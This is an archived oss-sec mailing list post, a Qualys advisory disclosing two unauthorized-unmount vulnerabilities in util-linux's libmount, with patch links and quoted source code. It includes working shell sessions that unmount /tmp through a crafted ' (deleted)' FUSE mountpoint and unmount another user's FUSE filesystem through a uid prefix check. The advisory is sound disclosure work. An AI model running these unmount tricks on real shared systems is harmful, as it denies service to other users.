CVE-2021-3996 and CVE-2021-3995 in util-linux's libmount

Related Vulnerabilities: CVE-2021-3996   CVE-2021-3995  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->

oss-sec
mailing list archives
<!--X-User-Header-End-->
<!--X-TopPNI-->

By Date

By Thread

</form>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
CVE-2021-3996 and CVE-2021-3995 in util-linux's libmount

<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->

From: Qualys Security Advisory &lt;qsa () qualys com&gt;

Date: Mon, 24 Jan 2022 12:25:33 +0000

<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->

<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
Hi all,

We discovered two vulnerabilities (unauthorized unmounts) in
util-linux's libmount, CVE-2021-3996 and CVE-2021-3995. Patches are now
available at (many thanks to Karel Zak, Red Hat Product Security, and
the members of linux-distros@openwall):

https://github.com/util-linux/util-linux/commit/166e87368ae88bf31112a30e078cceae637f4cdb
https://github.com/util-linux/util-linux/commit/57202f5713afa2af20ffbb6ab5331481d0396f8d
https://github.com/util-linux/util-linux/commit/9c05f4b6bf62a20a64a8e5735c7f3dcf0229e895

https://github.com/util-linux/util-linux/commits/stable/v2.37
https://mirrors.edge.kernel.org/pub/linux/utils/util-linux/v2.37/

Below is a short write-up (which is part of a longer advisory that is
mostly unrelated to util-linux and that we will publish at a later
date):

========================================================================
CVE-2021-3996 and CVE-2021-3995 in util-linux's libmount
========================================================================

[...]

Consequently, we audited the SUID-root programs umount and fusermount
for ways to unmount a filesystem that does not belong to us, and we
discovered CVE-2021-3996 and CVE-2021-3995 in util-linux's libmount
(which is used internally by umount).

Note: CVE-2021-3996 and CVE-2021-3995 were both introduced by commit
5fea669 ("libmount: Support unmount FUSE mounts") in November 2018.

========================================================================
CVE-2021-3996: Unauthorized unmount in util-linux's libmount
========================================================================

In order for an unprivileged user to unmount a FUSE filesystem with
umount, this filesystem must a/ be listed in /proc/self/mountinfo, and
b/ be a FUSE filesystem (lines 466-470), and c/ belong to the current,
unprivileged user (lines 477-498):

------------------------------------------------------------------------
 451 static int is_fuse_usermount(struct libmnt_context *cxt, int *errsv)
 452 {
 ...
 466         if (strcmp(type, "fuse") != 0 &amp;&amp;
 467             strcmp(type, "fuseblk") != 0 &amp;&amp;
 468             strncmp(type, "fuse.", 5) != 0 &amp;&amp;
 469             strncmp(type, "fuseblk.", 8) != 0)
 470                 return 0;
 ...
 477         if (mnt_optstr_get_option(optstr, "user_id", &amp;user_id, &amp;sz) != 0)
 478                 return 0;
 ...
 490         uid = getuid();
 ...
 497         snprintf(uidstr, sizeof(uidstr), "%lu", (unsigned long) uid);
 498         return strncmp(user_id, uidstr, sz) == 0;
 499 }
------------------------------------------------------------------------

Unfortunately, when parsing /proc/self/mountinfo, the libmount blindly
removes any " (deleted)" suffix from the mountpoint pathnames (at lines
231-233):

------------------------------------------------------------------------
 17 #define PATH_DELETED_SUFFIX     " (deleted)"
------------------------------------------------------------------------
 179 static int mnt_parse_mountinfo_line(struct libmnt_fs *fs, const char *s)
 180 {
 ...
 223         /* (5) target */
 224         fs-&gt;target = unmangle(s, &amp;s);
 ...
 231         p = (char *) endswith(fs-&gt;target, PATH_DELETED_SUFFIX);
 232         if (p &amp;&amp; *p)
 233                 *p = '\0';
------------------------------------------------------------------------

This vulnerability allows an unprivileged user to unmount other users'
filesystems that are either world-writable themselves (like /tmp) or
mounted in a world-writable directory.

For example, on Fedora, /tmp is a tmpfs, so we can mount a basic FUSE
filesystem named "/tmp/ (deleted)" (with FUSE's "hello world" program,
./hello) and unmount /tmp itself (a denial of service):

------------------------------------------------------------------------
$ id
uid=1000(john) gid=1000(john) groups=1000(john) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

$ grep /tmp /proc/self/mountinfo
84 87 0:34 / /tmp rw,nosuid,nodev shared:38 - tmpfs tmpfs rw,seclabel,size=2004304k,nr_inodes=409600,inode64

$ mkdir -m 0700 /tmp/" (deleted)"
$ ./hello /tmp/" (deleted)"

$ grep /tmp /proc/self/mountinfo
84 87 0:34 / /tmp rw,nosuid,nodev shared:38 - tmpfs tmpfs rw,seclabel,size=2004304k,nr_inodes=409600,inode64
620 84 0:46 / /tmp/\040(deleted) rw,nosuid,nodev,relatime shared:348 - fuse.hello hello rw,user_id=1000,group_id=1000

$ mount | grep /tmp
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,seclabel,size=2004304k,nr_inodes=409600,inode64)
/home/john/hello on /tmp/ type fuse.hello (rw,nosuid,nodev,relatime,user_id=1000,group_id=1000)

$ umount -l /tmp/
$ grep /tmp /proc/self/mountinfo | wc
      0       0       0
------------------------------------------------------------------------

========================================================================
CVE-2021-3995: Unauthorized unmount in util-linux's libmount
========================================================================

Alert readers may have spotted another vulnerability in
is_fuse_usermount(): at line 498, only the first "sz" characters of the
current user's uid are compared to the filesystem's "user_id" option (sz
is user_id's length). This second vulnerability allows an unprivileged
user to unmount the FUSE filesystems that belong to certain other users;
for example, if our own uid is 1000, then we can unmount the FUSE
filesystems of the users whose uid is 100, 10, or 1:

------------------------------------------------------------------------
$ id
uid=1000(john) gid=1000(john) groups=1000(john) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

$ grep fuse /proc/self/mountinfo
38 23 0:32 / /sys/fs/fuse/connections rw,nosuid,nodev,noexec,relatime shared:18 - fusectl fusectl rw
620 87 0:46 / /mnt/bin rw,nosuid,nodev,relatime shared:348 - fuse.hello hello rw,user_id=1,group_id=1

$ umount -l /mnt/bin
$ grep fuse /proc/self/mountinfo
38 23 0:32 / /sys/fs/fuse/connections rw,nosuid,nodev,noexec,relatime shared:18 - fusectl fusectl rw
------------------------------------------------------------------------

Thank you very much! We are at your disposal for questions, comments,
and further discussions.

With best regards,

-- 
the Qualys Security Advisory team

<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->

<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->

By Date

By Thread

Current thread:

CVE-2021-3996 and CVE-2021-3995 in util-linux's libmount Qualys Security Advisory (Jan 24)

<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->